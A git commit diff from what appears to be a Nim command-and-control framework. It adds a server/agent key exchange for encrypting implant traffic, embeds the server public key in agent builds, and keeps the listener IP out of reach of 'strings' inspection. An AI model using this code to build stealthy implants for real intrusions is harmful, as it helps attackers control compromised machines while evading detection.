Implemented ECDH key exchange using ed25519 to share a symmetric AES key without transmitting it over the network.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
import terminal, strformat, strutils, tables, times, system, osproc, streams
|
||||
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
||||
|
||||
import ../utils
|
||||
import ../task/dispatcher
|
||||
@@ -140,6 +140,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
||||
|
||||
# Covert the servers's public X25519 key to as base64 string
|
||||
let publicKey = encode(cq.keyPair.publicKey)
|
||||
|
||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||
let config = fmt"""
|
||||
# Agent configuration
|
||||
@@ -150,6 +153,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
-d:Octet4="{fourth}"
|
||||
-d:ListenerPort={listener.port}
|
||||
-d:SleepDelay={sleep}
|
||||
-d:ServerPublicKey="{publicKey}"
|
||||
""".replace(" ", "")
|
||||
writeFile(agentConfigFile, config)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
|
||||
import ./[agent, listener]
|
||||
import ../[globals, utils]
|
||||
import ../db/database
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, crypto]
|
||||
|
||||
#[
|
||||
Argument parsing
|
||||
@@ -127,14 +127,16 @@ proc header(cq: Conquest) =
|
||||
cq.writeLine("─".repeat(21))
|
||||
cq.writeLine("")
|
||||
|
||||
proc initConquest*(dbPath: string): Conquest =
|
||||
# TODO: Add profile support instead of hardcoded paths, etc.
|
||||
proc initConquest*(): Conquest =
|
||||
var cq = new Conquest
|
||||
var prompt = Prompt.init()
|
||||
cq.prompt = prompt
|
||||
cq.dbPath = dbPath
|
||||
cq.dbPath = "../data/conquest.db"
|
||||
cq.listeners = initTable[string, Listener]()
|
||||
cq.agents = initTable[string, Agent]()
|
||||
cq.interactAgent = nil
|
||||
cq.keyPair = loadKeys("../data/keys/conquest-server_ed25519_private.key", "../data/keys/conquest-server_ed25519_public.key")
|
||||
|
||||
return cq
|
||||
|
||||
@@ -146,8 +148,12 @@ proc startServer*() =
|
||||
setControlCHook(exit)
|
||||
|
||||
# Initialize framework
|
||||
let dbPath: string = "../data/conquest.db"
|
||||
cq = initConquest(dbPath)
|
||||
try:
|
||||
cq = initConquest()
|
||||
|
||||
except CatchableError as err:
|
||||
echo err.msg
|
||||
quit(0)
|
||||
|
||||
# Print header
|
||||
cq.header()
|
||||
@@ -156,7 +162,7 @@ proc startServer*() =
|
||||
cq.dbInit()
|
||||
cq.restartListeners()
|
||||
cq.addMultiple(cq.dbGetAllAgents())
|
||||
|
||||
|
||||
# Main loop
|
||||
while true:
|
||||
cq.setIndicator("[conquest]> ")
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
import random
|
||||
import core/server
|
||||
import strutils
|
||||
|
||||
# Conquest framework entry point
|
||||
when isMainModule:
|
||||
randomize()
|
||||
startServer()
|
||||
@@ -95,10 +95,12 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
|
||||
# TODO: Validate sequence number
|
||||
|
||||
# Key exchange
|
||||
let agentPublicKey = unpacker.getKey()
|
||||
let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey)
|
||||
|
||||
# Decrypt payload
|
||||
let sessionKey = unpacker.getKey()
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
|
||||
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
|
||||
|
||||
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
||||
|
||||
Reference in New Issue
Block a user